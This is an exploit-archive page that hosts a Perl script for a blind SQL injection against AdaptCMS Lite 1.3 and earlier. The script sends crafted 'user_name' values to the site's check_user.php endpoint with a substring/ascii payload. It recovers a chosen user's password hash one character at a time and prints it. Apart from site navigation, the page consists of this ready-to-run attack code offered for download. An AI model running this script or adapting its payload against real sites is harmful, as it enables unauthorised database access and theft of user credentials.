what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

adaptcms-blindsql.txt

adaptcms-blindsql.txt
Posted Oct 3, 2008
Authored by StAkeR

AdaptCMS Lite versions 1.3 and below blind SQL injection exploit.

tags | exploit, sql injection
SHA-256 | 0796714b58425cf943ab227267fe960898b56e60e0555e8a7a2cdb6fecb7ae96

adaptcms-blindsql.txt

Change Mirror Download
#!/usr/bin/perl
# -----------------------------------------------------
# AdaptCMS Lite <= 1.3 Blind SQL Injection Exploit
# Discovered By StAkeR - StAkeR[at]hotmail[dot]it
# Discovered On 03/10/2008
# -----------------------------------------------------
# Download http://www.insanevisions.com/page/downloads
# -----------------------------------------------------
use strict;
use LWP::UserAgent;

my ($hash,$send,$sub) = (undef,undef,1);
my ($host,$uid) = @ARGV;

usage() unless $host =~ /^http:\/\/(.+?)$/i and $uid =~ /^[0-9]$/;

sub send_request
{
my $param = shift @_;
my $http = new LWP::UserAgent;
my $post = $http->post($host.'/includes/check_user.php',[ user_name => $param ]);

if($post->is_success)
{
return 38 unless $post->content =~ /yes/i;
}
}

my @chars = (48..57, 97..102);

for(0..32)
{
foreach my $set(@chars)
{
$send = "' or ascii(substring((select password".
" from adaptcms_users where id=$uid),$sub,1))=$set#";

if(send_request($send) > 1)
{
$hash .= chr($set);
$sub++;
last;
}
}
}

sub usage
{
print "[?] AdaptCMS Lite <= 1.3 Blind SQL Injection Exploit\n";
print "[?] Usage: perl $0 http://[host] [user id]\n";
exit;
}

if(defined $hash)
{
print "[?] Hash: $hash\n";
exit;
}
else
{
print "[?] Exploit Failed!\n";
exit;
}

Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close